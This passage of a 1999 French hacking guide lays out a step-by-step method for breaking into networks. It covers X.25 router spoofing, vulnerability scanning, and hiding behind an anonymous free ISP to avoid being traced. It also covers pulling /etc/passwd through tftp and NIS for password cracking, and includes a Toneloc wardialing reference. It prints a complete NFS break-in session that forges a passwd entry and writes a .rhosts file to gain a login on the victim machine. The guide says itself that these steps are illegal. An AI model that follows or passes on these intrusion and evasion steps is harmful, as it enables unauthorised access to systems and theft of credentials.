Il est plus que vraisemblable que ceci ne soit réalisable que lorsque le routeur que l'on usurpe n'est pas en communication avec le routeur cible.

Quelques réserves (à valider) sont cependant à émettre. Il semble en effet que dans le cas des routeurs CISCO, les échanges se fassent sur des circuits virtuels ditincts, le routeur appelé ouvrant alors le second circuit virtuel vers l'adresse X25 du routeur que nous usurpons. Il ne peut donc alors y avoir de retour. Ceci pourrait peut être contourné en modifiant la configuration de la cible via SNMP.

La fraude dans le cas de SNA sur X25 semble encore plus complexe, car il est impératif de disposer d'un accès licitement défini dans la VTAM list, faute de quoi la communication ne saura s'établir.

Analyse des informations présentes dans la configuration d'un routeur

La connaissance de sa propre adresse X25 est probablement impossible, puisqu'il n'y a pas de raison qu'elle soit mentionnée dans sa configuration.

Par contre, si l'on a accès aux configurations de deux machines communiquant l'une avec l'autre à travers X25 en faisant de l'encapsulation, il doit être possible de déperminer les adresses X25 de chacune des deux :

  • en regardant le routage au niveau de chacune des deux machines,
  • en recherchant des correspondances d'adresses (par exemple IP et X25) à corréler avec la connaissace des adresses autres qu'X25 qui correspondent à chacun des deux équipements.





Phase 3 : Axe Internet

On dispose à l'issue de la phase 2 d'adresses IP de réseau ou de machines accessibles.

Il n'existe pas de méthode toute faite pour le hack, chaque hacker detient son experience, c'est souvent à partir ce cette limite qu'il découvre son talent ou pas. A partir de cette étape tous ce vous pouvez faire est considéré comme illicite par la loi.
Il existe des techniques d'approche, je vous ai présenté la ligne directrice vers le hack de base, cette méthode présente un danger, celui de la trace laissée par les différents outils utilisés (la qualité d'un bon hack, va se lire à sa tracabilité):

  • Pour commencer lancer les outils d'analyses :
  • SATAN (semble être remplacé par SAINT) ou Nessus (pour plus d'informations voir le hackoff7).
  • ISS version freeware. Il fait tellement peu de chose que ce n'est même pas la peine de le lancer.
  • ISS en version commerciale => pour ceux qui l'ont acheté...
  • NAT10 qui est un outil pour récupérer des infos sur les machines supportant netbios.

A partir de cette étape, nous detenons un premièr audit du réseau: machines par IP, type d'OS, les ports ouverts, et les eventuels DOS connu par l'outils d'analyses. Le passage d'un tel outil laisse des traces et il existe des logiciel pour répérer des tentatives d'intrusions, il est préférable de se deconnecter et de se faire attribuer une IP différentes, chez un provider gratuit avec une identité inconnue (www.vunet.com)

La suite :

  • utiliser les DOS et toutes les bug connus, identifiés en phase 2 :
  • tftp pour rapatrier /etc/passwd, /etc/hosts, etc.
  • partition NFS montable pour tous,
  • NIS accessible,
  • etc.
  • se connecter à la machine au travers des émulateurs comme telnet, rlogin, etc.
On connaît les noms des utilisateurs (via finger), on connaît l'adresse IP de la machine, il est donc possible de tenter d'y acceder. Telnet est disponible sous UNIX et sous Windows 3. A priori, il doit être possible de le rapatrier sous WinNT et 95. Personnellement j'utilise plutôt le telnet UNIX. Avec telnet, la commande est :
  • telnet @IP_machine
La machine vous demandera alors le nom d'utilisateur puis le mot de passe si nécessaire. Si le compte dispose d'un mot de passe, on rentre alors dans de la tentative de divination. Dans tous les cas, on obtient, grâce à la bannière, le nom de la machine et très fréquemment son OS. avec rlogin, la commande est :
  • rlogin -l user @IP_machine
Il peut être interessant de tester des comptes autres que "root" si par hasard la machine met en oeuvre un dispositif de confiance. Lancer les outils d'analyse :
  • Satan, Nessus, saint
Satan est donc disponible sur la machine Linux spécialisée pour le hacking. Utiliser les bugs détecté en phase 2 :
  1. vérifier s'il n'existe pas un compte "guest", "demo", etc. sans mot de passe (rlogin ou telnet),
  2. vérifier si la machine n'accepte pas tftp,
  3. vérifier s'il n'est pas possible de monter par NFS une partition utilisateur (showmount),
  4. vérifier si le client n'utilise pas NIS (ypxxxx dans rpcinfo) et récupérer alors les tables NIS (la méthode n'est pas encore très claire et n'est pas compilable sous linux qui ne supporte pas NIS => machine UNIX type SUN).
Si l'on est dans le cas 1,
  • on se connecte, on recherche une faille système (.rhost, hosts.equiv, etc.),
  • on rapatrie le fichier /etc/passwd, s'il n'est pas en mode C2, on y trouve les mots de passe chiffrés => on peut le casser avec le logiciel cracker, sinon on y trouve quant même la liste des utilisateurs et le champ commentaire associé (voir divination du mot de passe).
Si l'on est dans le cas 2,
  • on se connecte par tftp sur la cible,
  • on tente de rapatrier le fichier /etc/passwd, s'il est accessible, soit il contient les mots de passes chiffrés (passage du cracker), sinon la liste des comptes (divination),
  • on peut également voir quels sont les autres fichiers qui peuvent être accédés.
Si l'on est dans le cas 3,
 evil# mount victim.com:/export/foo /foo
 evil# cd /foo
 evil# ls -lag
 total 3
   1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
   1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
   1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 evil# echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 evil# ls -lag
  total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 evil # su guest
 evil % echo 194.86.157.110 >> guest/.rhosts
 evil % rlogin victim.com
 	 Welcome to victim.com!
 victim %
Si l'on est dans le cas 4,
  • on recherche le nom de domaine (a faire),
  • on utilise "ypcat -d nom_du_domaine passwd" pour récupérer le fichier yppasswd et on le passe alors avec cracker (cracker de mot de passe).
  • retrouver les DOS fréquents sur l'OS cible et les essayer

 

 



Annexes

 

Annexe 1 : Toneloc : l'outil de recherche de modem

Toneloc

 

toneloc datafile /M:[mask] /R:[range] /D:[range] /X:[mask] /#:[nombre] /C[config] /S:[StartTime] /E:[EndTime] /H:[heure] /T:[-] /K:[-]

RQ : le séparateur ":" n'est pas obligatoire

Datafile Pas clair : plutot le fichier contenant la liste des plages de numéros à essayer (ou fichier dans lequel est enregistré le résultat ?)

  • /M:[mask] Le masque avec des X pour les numéros devant être dialés par exemple /M:01419139XX
  • /R:[range] Limitation du mask à une plage plus précise devant être essayée par exemple /R:10-19
  • /D:[range] Plage de numéros à ne pas essayer par exemple /D:20-29
  • /X:[mask] Masque des numéros à ne pas essayer (idem /D mais sous forme de mask) par exemple /X:2X (rqs : ne pas mettre 014191392X et on peut mettre plusieurs exclusions)
  • /#:[nombre] Limitation à un nombre d'appel précis par exemple /#:99 pour nous
  • /C[config] fichier de config de toneloc
  • /S:[StartTime] heure de début en format /S:5:30p ou /S:17:30
  • /E:[EndTime] heure de fin en format /E:5:30p ou /E:17:30
  • /H:[heure] Durée de test (on utilise /E ou /H) format /H:3:30
  • /T:[-] force un paramétre du fichier config.cfg : recherche de tonalités (ou pas si /T:-)
  • /K:[-] force un paramétre du fichier config.cfg : recherche de porteuse (ou pas si /K:-)
Essai 1 : toneloc 01419139XX /D:10-99

Utilitaires autour de toneloc :

  • TCONVERT : conversion de fichier de recherche de version précédente

 

 



Annexe 2 : Liste des outils de hacking sous UNIX

 
Outil Fonction OS Site
Connect Récupération auto /etc/passwd sur des sites via tftp UNIX  
NMAP Scanner de port, version graphique en Béta Linux http://www.insecure.org/
Nessus Scanner d'intrusion Linux, java http://www.nessus.org/
Saint scanner d'intrusion Linux http://www.wwdsi.com/saint/
John the Ripper Casse les mots de passe récupérés dans /etc/pssword Linux http://www.false.com/security/john/
ADM snmp Un scanner de démon SNMP et il peut réaliser une attaque en force sur le nom de la communauté Linux http://www.rootshell.org/archive-j457nxiqi3gq59dv/199902/ADMsnmp.0.1.tgz.html
Trinux linux sur 3 disk, orienté sécurité. Idéal pour sécuriser son réseau OS ftp://ftp.trinux.org/pub/trinux/
Cracker Casse les mots de passe, récupérés dans /etc/pssword Linux http://www.opensec.net/
Hunt Outils de hack des switch Linux http://www.cri.cz/kra

Recoupement d'informations : cakeii
Validation et correction(s): tobozo
Derniere mise a jour : 04-aout-99
no© Serial Savate System